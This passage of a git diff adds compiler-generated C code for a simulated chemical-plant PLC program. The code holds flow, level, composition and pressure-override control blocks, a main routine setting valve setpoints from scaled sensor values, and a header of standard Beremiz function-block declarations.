__SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + 